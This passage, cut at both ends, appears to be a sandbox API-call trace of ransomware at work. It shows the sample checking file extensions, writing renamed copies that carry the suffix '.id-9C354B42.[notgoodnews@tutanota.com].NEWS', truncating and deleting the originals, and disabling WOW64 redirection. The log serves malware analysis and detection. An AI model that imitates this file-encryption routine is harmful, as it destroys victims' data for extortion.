returned 1 [0072.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.953] lstrlenW (lpString=".doc") returned 4 [0072.953] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0072.953] lstrlenW (lpString=".docx") returned 5 [0072.953] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0072.953] lstrlenW (lpString=".pdf") returned 4 [0072.953] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0072.953] lstrlenW (lpString=".xls") returned 4 [0072.953] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0072.953] lstrlenW (lpString=".xlsx") returned 5 [0072.953] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0072.953] lstrlenW (lpString=".ppt") returned 4 [0072.953] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0072.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.953] lstrlenW (lpString=".zip") returned 4 [0072.954] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0072.954] lstrlenW (lpString=".rar") returned 4 [0072.954] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0072.954] lstrlenW (lpString=".bz2") returned 4 [0072.954] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0072.954] lstrlenW (lpString=".7z") returned 3 [0072.954] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0072.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.954] lstrlenW (lpString=".dbf") returned 4 [0072.954] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0072.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.954] lstrlenW (lpString=".1cd") returned 4 [0072.954] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0072.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\PREVIEW.GIF") returned 75 [0072.954] lstrlenW (lpString=".jpg") returned 4 [0072.954] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0072.954] lstrcmpiW (lpString1=".PNG", lpString2=".NEWS") returned 1 [0072.954] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0072.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.956] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=16738) returned 1 [0072.956] CloseHandle (hObject=0x170) returned 1 [0072.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0072.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.956] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.956] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.957] GetLastError () returned 0x0 [0072.957] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x4162, lpOverlapped=0x0) returned 1 [0072.959] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0072.961] ReadFile (in: hFile=0x170, lpBuffer=0x3130020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x271fed4, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesRead=0x271fed4*=0x0, lpOverlapped=0x0) returned 1 [0072.961] WriteFile (in: hFile=0x1e4, lpBuffer=0x3130020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x271fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3130020*, lpNumberOfBytesWritten=0x271fc9c*=0xec, lpOverlapped=0x0) returned 1 [0072.961] SetEndOfFile (hFile=0x1e4) returned 1 [0072.961] CloseHandle (hObject=0x1e4) returned 1 [0072.962] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.962] SetEndOfFile (hFile=0x170) returned 1 [0072.963] CloseHandle (hObject=0x170) returned 1 [0072.964] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0072.964] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0072.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.964] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.964] lstrlenW (lpString=".doc") returned 4 [0072.964] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.964] lstrlenW (lpString=".docx") returned 5 [0072.964] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.964] lstrlenW (lpString=".pdf") returned 4 [0072.964] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.965] lstrlenW (lpString=".xls") returned 4 [0072.965] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.965] lstrlenW (lpString=".xlsx") returned 5 [0072.965] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.965] lstrlenW (lpString=".ppt") returned 4 [0072.965] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.965] lstrlenW (lpString=".zip") returned 4 [0072.965] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.965] lstrlenW (lpString=".rar") returned 4 [0072.965] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.965] lstrlenW (lpString=".bz2") returned 4 [0072.965] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.965] lstrlenW (lpString=".7z") returned 3 [0072.965] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.965] lstrlenW (lpString=".dbf") returned 4 [0072.965] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.965] lstrlenW (lpString=".1cd") returned 4 [0072.965] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.965] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.966] lstrlenW (lpString=".jpg") returned 4 [0072.966] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.966] lstrlenW (lpString=".doc") returned 4 [0072.966] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0072.966] lstrlenW (lpString=".docx") returned 5 [0072.966] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0072.966] lstrlenW (lpString=".pdf") returned 4 [0072.966] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0072.966] lstrlenW (lpString=".xls") returned 4 [0072.966] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0072.966] lstrlenW (lpString=".xlsx") returned 5 [0072.966] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0072.966] lstrlenW (lpString=".ppt") returned 4 [0072.966] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0072.966] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.966] lstrlenW (lpString=".zip") returned 4 [0072.966] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0072.966] lstrlenW (lpString=".rar") returned 4 [0072.966] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0072.966] lstrlenW (lpString=".bz2") returned 4 [0072.966] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0072.967] lstrlenW (lpString=".7z") returned 3 [0072.967] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0072.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.967] lstrlenW (lpString=".dbf") returned 4 [0072.967] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0072.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.967] lstrlenW (lpString=".1cd") returned 4 [0072.967] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0072.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0072.967] lstrlenW (lpString=".jpg") returned 4 [0072.967] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0072.967] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0072.967] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0072.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.968] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x271ff1c | out: lpFileSize=0x271ff1c*=1439) returned 1 [0072.968] CloseHandle (hObject=0x170) returned 1 [0072.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0072.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0072.968] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.968] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x271fec8 | out: lpNewFilePointer=0x0) returned 1 [0072.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 11 os_tid = 0xaec [0043.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x68e808 [0043.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x69e810 [0043.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a50 [0043.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x61a238 [0043.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a68 [0043.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3380020 [0043.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a80 [0043.658] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610a80, Size=0x20) returned 0x5f5d68 [0043.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x610a80 [0043.658] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x610a80, Size=0x20) returned 0x5f5c28 [0043.658] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0043.658] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0043.658] Wow64DisableWow64FsRedirection (in: OldValue=0x2c5ff58 | out: OldValue=0x2c5ff58*=0x0) returned 1 [0043.658] lstrlenW (lpString="kernel32.dll") returned 12 [0043.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5d68 | out: hHeap=0x5c0000) returned 1 [0043.658] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0043.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5f5c28 | out: hHeap=0x5c0000) returned 1 [0043.658] Sleep (dwMilliseconds=0x64) [0043.893] Sleep (dwMilliseconds=0x64) [0044.242] Sleep (dwMilliseconds=0x64) [0044.506] Sleep (dwMilliseconds=0x64) [0044.932] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0044.933] lstrlenW (lpString="PowerPointMUI.xml") returned 17 [0044.933] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.950] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1450) returned 1 [0044.950] CloseHandle (hObject=0x160) returned 1 [0044.950] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0044.950] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0044.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0044.950] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.950] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.084] GetLastError () returned 0x0 [0045.084] ReadFile (in: hFile=0x160, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0045.109] WriteFile (in: hFile=0x194, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0045.110] ReadFile (in: hFile=0x160, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.110] WriteFile (in: hFile=0x194, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0045.111] SetEndOfFile (hFile=0x194) returned 1 [0045.111] CloseHandle (hObject=0x194) returned 1 [0045.112] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.112] SetEndOfFile (hFile=0x160) returned 1 [0045.113] CloseHandle (hObject=0x160) returned 1 [0045.114] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0045.114] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0045.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.115] lstrlenW (lpString=".doc") returned 4 [0045.115] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.115] lstrlenW (lpString=".docx") returned 5 [0045.115] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.115] lstrlenW (lpString=".pdf") returned 4 [0045.115] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.115] lstrlenW (lpString=".xls") returned 4 [0045.115] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.115] lstrlenW (lpString=".xlsx") returned 5 [0045.115] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.115] lstrlenW (lpString=".ppt") returned 4 [0045.115] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.115] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.115] lstrlenW (lpString=".zip") returned 4 [0045.115] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.115] lstrlenW (lpString=".rar") returned 4 [0045.115] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.115] lstrlenW (lpString=".bz2") returned 4 [0045.115] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.115] lstrlenW (lpString=".7z") returned 3 [0045.116] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.116] lstrlenW (lpString=".dbf") returned 4 [0045.116] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.116] lstrlenW (lpString=".1cd") returned 4 [0045.116] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.116] lstrlenW (lpString=".jpg") returned 4 [0045.116] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.116] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.116] lstrlenW (lpString=".doc") returned 4 [0045.116] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.116] lstrlenW (lpString=".docx") returned 5 [0045.116] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.116] lstrlenW (lpString=".pdf") returned 4 [0045.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.116] lstrlenW (lpString=".xls") returned 4 [0045.117] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.117] lstrlenW (lpString=".xlsx") returned 5 [0045.117] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.117] lstrlenW (lpString=".ppt") returned 4 [0045.117] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.117] lstrlenW (lpString=".zip") returned 4 [0045.117] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.117] lstrlenW (lpString=".rar") returned 4 [0045.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.117] lstrlenW (lpString=".bz2") returned 4 [0045.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.117] lstrlenW (lpString=".7z") returned 3 [0045.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.117] lstrlenW (lpString=".dbf") returned 4 [0045.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.117] lstrlenW (lpString=".1cd") returned 4 [0045.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.117] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0045.117] lstrlenW (lpString=".jpg") returned 4 [0045.118] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.118] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0045.118] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0045.118] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.367] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1450) returned 1 [0045.367] CloseHandle (hObject=0x16c) returned 1 [0045.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0045.367] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0045.367] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0045.367] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.367] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.367] CreateFileW (lpFileName="C:\\MSOCache\\All 